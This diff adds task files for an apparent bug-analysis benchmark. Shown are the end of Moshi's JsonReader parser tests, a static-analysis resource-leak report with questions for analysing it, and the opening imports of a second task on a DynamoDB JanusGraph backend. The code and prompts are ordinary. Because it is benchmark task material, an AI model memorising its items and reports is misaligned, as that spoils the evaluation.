+    reader.setLenient(true);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextBoolean()).isTrue();
+
+    reader = newReader("{\"a\"=>true}");
+    reader.setLenient(true);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextBoolean()).isTrue();
+  }
+
+  @Test public void strictNameValueSeparatorWithSkipValue() throws IOException {
+    JsonReader reader = newReader("{\"a\"=true}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("{\"a\"=>true}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void commentsInStringValue() throws Exception {
+    JsonReader reader = newReader("[\"// comment\"]");
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo("// comment");
+    reader.endArray();
+
+    reader = newReader("{\"a\":\"#someComment\"}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextString()).isEqualTo("#someComment");
+    reader.endObject();
+
+    reader = newReader("{\"#//a\":\"#some //Comment\"}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("#//a");
+    assertThat(reader.nextString()).isEqualTo("#some //Comment");
+    reader.endObject();
+  }
+
+  @Test public void strictComments() throws IOException {
+    JsonReader reader = newReader("[// comment \n true]");
+    reader.beginArray();
+    try {
+      reader.nextBoolean();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[# comment \n true]");
+    reader.beginArray();
+    try {
+      reader.nextBoolean();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[/* comment */ true]");
+    reader.beginArray();
+    try {
+      reader.nextBoolean();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientComments() throws IOException {
+    JsonReader reader = newReader("[// comment \n true]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+
+    reader = newReader("[# comment \n true]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+
+    reader = newReader("[/* comment */ true]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+
+    reader = newReader("a//");
+    reader.setLenient(true);
+    assertThat(reader.nextString()).isEqualTo("a");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void strictCommentsWithSkipValue() throws IOException {
+    JsonReader reader = newReader("[// comment \n true]");
+    reader.beginArray();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[# comment \n true]");
+    reader.beginArray();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[/* comment */ true]");
+    reader.beginArray();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictUnquotedNames() throws IOException {
+    JsonReader reader = newReader("{a:true}");
+    reader.beginObject();
+    try {
+      reader.nextName();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientUnquotedNames() throws IOException {
+    JsonReader reader = newReader("{a:true}");
+    reader.setLenient(true);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+  }
+
+  @Test public void jsonIsSingleUnquotedString() throws IOException {
+    JsonReader reader = newReader("abc");
+    reader.setLenient(true);
+    assertThat(reader.nextString()).isEqualTo("abc");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void strictUnquotedNamesWithSkipValue() throws IOException {
+    JsonReader reader = newReader("{a:true}");
+    reader.beginObject();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictSingleQuotedNames() throws IOException {
+    JsonReader reader = newReader("{'a':true}");
+    reader.beginObject();
+    try {
+      reader.nextName();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientSingleQuotedNames() throws IOException {
+    JsonReader reader = newReader("{'a':true}");
+    reader.setLenient(true);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+  }
+
+  @Test public void strictSingleQuotedNamesWithSkipValue() throws IOException {
+    JsonReader reader = newReader("{'a':true}");
+    reader.beginObject();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictUnquotedStrings() throws IOException {
+    JsonReader reader = newReader("[a]");
+    reader.beginArray();
+    try {
+      reader.nextString();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictUnquotedStringsWithSkipValue() throws IOException {
+    JsonReader reader = newReader("[a]");
+    reader.beginArray();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientUnquotedStrings() throws IOException {
+    JsonReader reader = newReader("[a]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo("a");
+  }
+
+  @Test public void lenientUnquotedStringsDelimitedByComment() throws IOException {
+    JsonReader reader = newReader("[a#comment\n]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo("a");
+    reader.endArray();
+  }
+
+  @Test public void strictSingleQuotedStrings() throws IOException {
+    JsonReader reader = newReader("['a']");
+    reader.beginArray();
+    try {
+      reader.nextString();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientSingleQuotedStrings() throws IOException {
+    JsonReader reader = newReader("['a']");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo("a");
+  }
+
+  @Test public void strictSingleQuotedStringsWithSkipValue() throws IOException {
+    JsonReader reader = newReader("['a']");
+    reader.beginArray();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictSemicolonDelimitedArray() throws IOException {
+    JsonReader reader = newReader("[true;true]");
+    reader.beginArray();
+    try {
+      reader.nextBoolean();
+      reader.nextBoolean();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientSemicolonDelimitedArray() throws IOException {
+    JsonReader reader = newReader("[true;true]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    assertThat(reader.nextBoolean()).isTrue();
+  }
+
+  @Test public void strictSemicolonDelimitedArrayWithSkipValue() throws IOException {
+    JsonReader reader = newReader("[true;true]");
+    reader.beginArray();
+    try {
+      reader.skipValue();
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictSemicolonDelimitedNameValuePair() throws IOException {
+    JsonReader reader = newReader("{\"a\":true;\"b\":true}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    try {
+      reader.nextBoolean();
+      reader.nextName();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientSemicolonDelimitedNameValuePair() throws IOException {
+    JsonReader reader = newReader("{\"a\":true;\"b\":true}");
+    reader.setLenient(true);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextBoolean()).isTrue();
+    assertThat(reader.nextName()).isEqualTo("b");
+  }
+
+  @Test public void strictSemicolonDelimitedNameValuePairWithSkipValue() throws IOException {
+    JsonReader reader = newReader("{\"a\":true;\"b\":true}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    try {
+      reader.skipValue();
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictUnnecessaryArraySeparators() throws IOException {
+    JsonReader reader = newReader("[true,,true]");
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    try {
+      reader.nextNull();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[,true]");
+    reader.beginArray();
+    try {
+      reader.nextNull();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[true,]");
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    try {
+      reader.nextNull();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[,]");
+    reader.beginArray();
+    try {
+      reader.nextNull();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientUnnecessaryArraySeparators() throws IOException {
+    JsonReader reader = newReader("[true,,true]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    reader.nextNull();
+    assertThat(reader.nextBoolean()).isTrue();
+    reader.endArray();
+
+    reader = newReader("[,true]");
+    reader.setLenient(true);
+    reader.beginArray();
+    reader.nextNull();
+    assertThat(reader.nextBoolean()).isTrue();
+    reader.endArray();
+
+    reader = newReader("[true,]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    reader.nextNull();
+    reader.endArray();
+
+    reader = newReader("[,]");
+    reader.setLenient(true);
+    reader.beginArray();
+    reader.nextNull();
+    reader.nextNull();
+    reader.endArray();
+  }
+
+  @Test public void strictUnnecessaryArraySeparatorsWithSkipValue() throws IOException {
+    JsonReader reader = newReader("[true,,true]");
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[,true]");
+    reader.beginArray();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[true,]");
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("[,]");
+    reader.beginArray();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictMultipleTopLevelValues() throws IOException {
+    JsonReader reader = newReader("[] []");
+    reader.beginArray();
+    reader.endArray();
+    try {
+      reader.peek();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientMultipleTopLevelValues() throws IOException {
+    JsonReader reader = newReader("[] true {}");
+    reader.setLenient(true);
+    reader.beginArray();
+    reader.endArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    reader.beginObject();
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void strictMultipleTopLevelValuesWithSkipValue() throws IOException {
+    JsonReader reader = newReader("[] []");
+    reader.beginArray();
+    reader.endArray();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictTopLevelString() {
+    JsonReader reader = newReader("\"a\"");
+    try {
+      reader.nextString();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientTopLevelString() throws IOException {
+    JsonReader reader = newReader("\"a\"");
+    reader.setLenient(true);
+    assertThat(reader.nextString()).isEqualTo("a");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void strictTopLevelValueType() {
+    JsonReader reader = newReader("true");
+    try {
+      reader.nextBoolean();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientTopLevelValueType() throws IOException {
+    JsonReader reader = newReader("true");
+    reader.setLenient(true);
+    assertThat(reader.nextBoolean()).isTrue();
+  }
+
+  @Test public void strictTopLevelValueTypeWithSkipValue() {
+    JsonReader reader = newReader("true");
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test @Ignore public void bomIgnoredAsFirstCharacterOfDocument() throws IOException {
+    JsonReader reader = newReader("\ufeff[]");
+    reader.beginArray();
+    reader.endArray();
+  }
+
+  @Test public void bomForbiddenAsOtherCharacterInDocument() throws IOException {
+    JsonReader reader = newReader("[\ufeff]");
+    reader.beginArray();
+    try {
+      reader.endArray();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void failWithPosition() throws IOException {
+    testFailWithPosition("Expected value at path $[1]",
+        "[\n\n\n\n\n\"a\",}]");
+  }
+
+  @Test public void failWithPositionGreaterThanBufferSize() throws IOException {
+    String spaces = repeat(' ', 8192);
+    testFailWithPosition("Expected value at path $[1]",
+        "[\n\n" + spaces + "\n\n\n\"a\",}]");
+  }
+
+  @Test public void failWithPositionOverSlashSlashEndOfLineComment() throws IOException {
+    testFailWithPosition("Expected value at path $[1]",
+        "\n// foo\n\n//bar\r\n[\"a\",}");
+  }
+
+  @Test public void failWithPositionOverHashEndOfLineComment() throws IOException {
+    testFailWithPosition("Expected value at path $[1]",
+        "\n# foo\n\n#bar\r\n[\"a\",}");
+  }
+
+  @Test public void failWithPositionOverCStyleComment() throws IOException {
+    testFailWithPosition("Expected value at path $[1]",
+        "\n\n/* foo\n*\n*\r\nbar */[\"a\",}");
+  }
+
+  @Test public void failWithPositionOverQuotedString() throws IOException {
+    testFailWithPosition("Expected value at path $[1]",
+        "[\"foo\nbar\r\nbaz\n\",\n  }");
+  }
+
+  @Test public void failWithPositionOverUnquotedString() throws IOException {
+    testFailWithPosition("Expected value at path $[1]", "[\n\nabcd\n\n,}");
+  }
+
+  @Test public void failWithEscapedNewlineCharacter() throws IOException {
+    testFailWithPosition("Expected value at path $[1]", "[\n\n\"\\\n\n\",}");
+  }
+
+  @Test @Ignore public void failWithPositionIsOffsetByBom() throws IOException {
+    testFailWithPosition("Expected value at path $[1]", "\ufeff[\"a\",}]");
+  }
+
+  private void testFailWithPosition(String message, String json) throws IOException {
+    // Validate that it works reading the string normally.
+    JsonReader reader1 = newReader(json);
+    reader1.setLenient(true);
+    reader1.beginArray();
+    reader1.nextString();
+    try {
+      reader1.peek();
+      fail();
+    } catch (IOException expected) {
+      assertThat(expected).hasMessage(message);
+    }
+
+    // Also validate that it works when skipping.
+    JsonReader reader2 = newReader(json);
+    reader2.setLenient(true);
+    reader2.beginArray();
+    reader2.skipValue();
+    try {
+      reader2.peek();
+      fail();
+    } catch (IOException expected) {
+      assertThat(expected).hasMessage(message);
+    }
+  }
+
+  @Test public void failWithPositionDeepPath() throws IOException {
+    JsonReader reader = newReader("[1,{\"a\":[2,3,}");
+    reader.beginArray();
+    reader.nextInt();
+    reader.beginObject();
+    reader.nextName();
+    reader.beginArray();
+    reader.nextInt();
+    reader.nextInt();
+    try {
+      reader.peek();
+      fail();
+    } catch (IOException expected) {
+      assertThat(expected).hasMessage("Expected value at path $[1].a[2]");
+    }
+  }
+
+  @Test @Ignore public void strictVeryLongNumber() throws IOException {
+    JsonReader reader = newReader("[0." + repeat('9', 8192) + "]");
+    reader.beginArray();
+    try {
+      assertThat(reader.nextDouble()).isEqualTo(1d);
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test @Ignore public void lenientVeryLongNumber() throws IOException {
+    JsonReader reader = newReader("[0." + repeat('9', 8192) + "]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextDouble()).isEqualTo(1d);
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void veryLongUnquotedLiteral() throws IOException {
+    String literal = "a" + repeat('b', 8192) + "c";
+    JsonReader reader = newReader("[" + literal + "]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo(literal);
+    reader.endArray();
+  }
+
+  @Test public void deeplyNestedArrays() throws IOException {
+    // this is nested 40 levels deep; Gson is tuned for nesting is 30 levels deep or fewer
+    JsonReader reader = newReader(
+        "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]");
+    for (int i = 0; i < 40; i++) {
+      reader.beginArray();
+    }
+    assertThat(reader.getPath()).isEqualTo(
+        "$[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]"
+        + "[0][0][0][0][0][0][0][0][0][0][0][0][0][0]");
+    for (int i = 0; i < 40; i++) {
+      reader.endArray();
+    }
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void deeplyNestedObjects() throws IOException {
+    // Build a JSON document structured like {"a":{"a":{"a":{"a":true}}}}, but 40 levels deep
+    String array = "{\"a\":%s}";
+    String json = "true";
+    for (int i = 0; i < 40; i++) {
+      json = String.format(array, json);
+    }
+
+    JsonReader reader = newReader(json);
+    for (int i = 0; i < 40; i++) {
+      reader.beginObject();
+      assertThat(reader.nextName()).isEqualTo("a");
+    }
+    assertThat(reader.getPath()).isEqualTo("$.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a"
+        + ".a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a");
+    assertThat(reader.nextBoolean()).isTrue();
+    for (int i = 0; i < 40; i++) {
+      reader.endObject();
+    }
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  // http://code.google.com/p/google-gson/issues/detail?id=409
+  @Test public void stringEndingInSlash() throws IOException {
+    JsonReader reader = newReader("/");
+    reader.setLenient(true);
+    try {
+      reader.peek();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void documentWithCommentEndingInSlash() throws IOException {
+    JsonReader reader = newReader("/* foo *//");
+    reader.setLenient(true);
+    try {
+      reader.peek();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void stringWithLeadingSlash() throws IOException {
+    JsonReader reader = newReader("/x");
+    reader.setLenient(true);
+    try {
+      reader.peek();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void unterminatedObject() throws IOException {
+    JsonReader reader = newReader("{\"a\":\"android\"x");
+    reader.setLenient(true);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextString()).isEqualTo("android");
+    try {
+      reader.peek();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void veryLongQuotedString() throws IOException {
+    char[] stringChars = new char[1024 * 16];
+    Arrays.fill(stringChars, 'x');
+    String string = new String(stringChars);
+    String json = "[\"" + string + "\"]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo(string);
+    reader.endArray();
+  }
+
+  @Test public void veryLongUnquotedString() throws IOException {
+    char[] stringChars = new char[1024 * 16];
+    Arrays.fill(stringChars, 'x');
+    String string = new String(stringChars);
+    String json = "[" + string + "]";
+    JsonReader reader = newReader(json);
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo(string);
+    reader.endArray();
+  }
+
+  @Test public void veryLongUnterminatedString() throws IOException {
+    char[] stringChars = new char[1024 * 16];
+    Arrays.fill(stringChars, 'x');
+    String string = new String(stringChars);
+    String json = "[" + string;
+    JsonReader reader = newReader(json);
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo(string);
+    try {
+      reader.peek();
+      fail();
+    } catch (EOFException expected) {
+    }
+  }
+
+  @Test public void skipVeryLongUnquotedString() throws IOException {
+    JsonReader reader = newReader("[" + repeat('x', 8192) + "]");
+    reader.setLenient(true);
+    reader.beginArray();
+    reader.skipValue();
+    reader.endArray();
+  }
+
+  @Test public void skipTopLevelUnquotedString() throws IOException {
+    JsonReader reader = newReader(repeat('x', 8192));
+    reader.setLenient(true);
+    reader.skipValue();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void skipVeryLongQuotedString() throws IOException {
+    JsonReader reader = newReader("[\"" + repeat('x', 8192) + "\"]");
+    reader.beginArray();
+    reader.skipValue();
+    reader.endArray();
+  }
+
+  @Test public void skipTopLevelQuotedString() throws IOException {
+    JsonReader reader = newReader("\"" + repeat('x', 8192) + "\"");
+    reader.setLenient(true);
+    reader.skipValue();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void stringAsNumberWithTruncatedExponent() throws IOException {
+    JsonReader reader = newReader("[123e]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(STRING);
+  }
+
+  @Test public void stringAsNumberWithDigitAndNonDigitExponent() throws IOException {
+    JsonReader reader = newReader("[123e4b]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(STRING);
+  }
+
+  @Test public void stringAsNumberWithNonDigitExponent() throws IOException {
+    JsonReader reader = newReader("[123eb]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(STRING);
+  }
+
+  @Test public void emptyStringName() throws IOException {
+    JsonReader reader = newReader("{\"\":true}");
+    reader.setLenient(true);
+    assertThat(reader.peek()).isEqualTo(BEGIN_OBJECT);
+    reader.beginObject();
+    assertThat(reader.peek()).isEqualTo(NAME);
+    assertThat(reader.nextName()).isEqualTo("");
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.BOOLEAN);
+    assertThat(reader.nextBoolean()).isTrue();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_OBJECT);
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void strictExtraCommasInMaps() throws IOException {
+    JsonReader reader = newReader("{\"a\":\"b\",}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextString()).isEqualTo("b");
+    try {
+      reader.peek();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientExtraCommasInMaps() throws IOException {
+    JsonReader reader = newReader("{\"a\":\"b\",}");
+    reader.setLenient(true);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextString()).isEqualTo("b");
+    try {
+      reader.peek();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  private String repeat(char c, int count) {
+    char[] array = new char[count];
+    Arrays.fill(array, c);
+    return new String(array);
+  }
+
+  @Test public void malformedDocuments() throws IOException {
+    assertDocument("{]", BEGIN_OBJECT, IOException.class);
+    assertDocument("{,", BEGIN_OBJECT, IOException.class);
+    assertDocument("{{", BEGIN_OBJECT, IOException.class);
+    assertDocument("{[", BEGIN_OBJECT, IOException.class);
+    assertDocument("{:", BEGIN_OBJECT, IOException.class);
+    assertDocument("{\"name\",", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{\"name\",", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{\"name\":}", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{\"name\"::", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{\"name\":,", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{\"name\"=}", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{\"name\"=>}", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{\"name\"=>\"string\":", BEGIN_OBJECT, NAME, STRING, IOException.class);
+    assertDocument("{\"name\"=>\"string\"=", BEGIN_OBJECT, NAME, STRING, IOException.class);
+    assertDocument("{\"name\"=>\"string\"=>", BEGIN_OBJECT, NAME, STRING, IOException.class);
+    assertDocument("{\"name\"=>\"string\",", BEGIN_OBJECT, NAME, STRING, IOException.class);
+    assertDocument("{\"name\"=>\"string\",\"name\"", BEGIN_OBJECT, NAME, STRING, NAME);
+    assertDocument("[}", BEGIN_ARRAY, IOException.class);
+    assertDocument("[,]", BEGIN_ARRAY, NULL, NULL, END_ARRAY);
+    assertDocument("{", BEGIN_OBJECT, IOException.class);
+    assertDocument("{\"name\"", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{\"name\",", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{'name'", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{'name',", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("{name", BEGIN_OBJECT, NAME, IOException.class);
+    assertDocument("[", BEGIN_ARRAY, IOException.class);
+    assertDocument("[string", BEGIN_ARRAY, STRING, IOException.class);
+    assertDocument("[\"string\"", BEGIN_ARRAY, STRING, IOException.class);
+    assertDocument("['string'", BEGIN_ARRAY, STRING, IOException.class);
+    assertDocument("[123", BEGIN_ARRAY, NUMBER, IOException.class);
+    assertDocument("[123,", BEGIN_ARRAY, NUMBER, IOException.class);
+    assertDocument("{\"name\":123", BEGIN_OBJECT, NAME, NUMBER, IOException.class);
+    assertDocument("{\"name\":123,", BEGIN_OBJECT, NAME, NUMBER, IOException.class);
+    assertDocument("{\"name\":\"string\"", BEGIN_OBJECT, NAME, STRING, IOException.class);
+    assertDocument("{\"name\":\"string\",", BEGIN_OBJECT, NAME, STRING, IOException.class);
+    assertDocument("{\"name\":'string'", BEGIN_OBJECT, NAME, STRING, IOException.class);
+    assertDocument("{\"name\":'string',", BEGIN_OBJECT, NAME, STRING, IOException.class);
+    assertDocument("{\"name\":false", BEGIN_OBJECT, NAME, BOOLEAN, IOException.class);
+    assertDocument("{\"name\":false,,", BEGIN_OBJECT, NAME, BOOLEAN, IOException.class);
+  }
+
+  /**
+   * This test behave slightly differently in Gson 2.2 and earlier. It fails
+   * during peek rather than during nextString().
+   */
+  @Test public void unterminatedStringFailure() throws IOException {
+    JsonReader reader = newReader("[\"string");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    try {
+      reader.nextString();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  private void assertDocument(String document, Object... expectations) throws IOException {
+    JsonReader reader = newReader(document);
+    reader.setLenient(true);
+    for (Object expectation : expectations) {
+      if (expectation == BEGIN_OBJECT) {
+        reader.beginObject();
+      } else if (expectation == BEGIN_ARRAY) {
+        reader.beginArray();
+      } else if (expectation == END_OBJECT) {
+        reader.endObject();
+      } else if (expectation == END_ARRAY) {
+        reader.endArray();
+      } else if (expectation == NAME) {
+        assertThat(reader.nextName()).isEqualTo("name");
+      } else if (expectation == BOOLEAN) {
+        assertThat(reader.nextBoolean()).isFalse();
+      } else if (expectation == STRING) {
+        assertThat(reader.nextString()).isEqualTo("string");
+      } else if (expectation == NUMBER) {
+        assertThat(reader.nextInt()).isEqualTo(123);
+      } else if (expectation == NULL) {
+        reader.nextNull();
+      } else if (expectation == IOException.class) {
+        try {
+          reader.peek();
+          fail();
+        } catch (IOException expected) {
+        }
+      } else {
+        throw new AssertionError();
+      }
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.squareup.moshi.JsonReader` acquired to `reader1` by call to `new()` at line 42 is not released after line 51.
+**Note**: potential exception at line 43
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JsonReaderTest.readingDoesNotBuffer()
+
+### Procedure Id:
+com.squareup.moshi.JsonReaderTest.readingDoesNotBuffer():void.be1fa5c53950d20e3251a8bdcf5a3b7c
+
+### File:
+moshi/src/test/java/com/squareup/moshi/JsonReaderTest.java
+
+### Key:
+JsonReaderTest.java|readingDoesNotBuffer|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+1a031283fad8edf41f923834ce15eaf9
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8569/instruction.md b/inferredbugs-8569/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e2212da08058f692166ceefa290682be0edd4692
--- /dev/null
+++ b/inferredbugs-8569/instruction.md
@@ -0,0 +1,383 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** dynamodb-janusgraph-storage-backend
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2014-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License").
+ * You may not use this file except in compliance with the License.
+ * A copy of the License is located at
+ *
+ *  http://aws.amazon.com/apache2.0
+ *
+ * or in the "license" file accompanying this file. This file is distributed
+ * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+package com.amazon.janusgraph.example;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.security.SecureRandom;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Set;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.ExecutorService;
